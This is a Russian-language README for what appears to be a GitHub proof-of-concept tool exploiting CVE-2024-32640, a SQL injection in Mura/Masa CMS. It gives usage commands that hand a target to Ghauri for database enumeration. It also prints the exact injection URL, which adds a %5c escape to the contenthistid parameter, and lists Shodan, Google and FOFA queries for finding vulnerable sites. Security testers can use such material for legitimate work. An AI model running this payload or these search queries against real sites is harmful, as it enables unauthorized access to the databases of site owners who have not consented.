stuub/cve-2024-32640-sqli-muracmsCVE-2024-32640 | Автоматизированный PoC эксплуатации SQLi
python3 CVE-2024-32640.py --url https://target.com/
Передайте любые аргументы, которые вы хотите использовать с Ghauri, следуя их списку аргументов:
python3 CVE-2024-32640.py --url https://target.com -g "--dbs --current-db"
python3 CVE-2024-32640.py --url https://target.com --ghauri "--dbs --current-db"
Используя обнаружение, которое я внедрил в инструменте, мы можем затем использовать уязвимую цель для эксплуатации в Ghauri. Скрипт автоматизирует этот процесс, передавая всю необходимую информацию о цели в вызов Ghauri.
Добавляя escape-последовательность (%5c) к значению параметра HTML-запроса contenthisid, мы можем проверить, уязвима ли цель к этой SQLi.
Успешная эксплуатация может привести к несанкционированному доступу к конфиденциальным данным.
URL: https://target.com/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c'&previewID=x
Shodan-запрос: 'Generator: Masa CMS'
Google: "powered by Mura CMS"
FOFA: app="Mura-CMS"
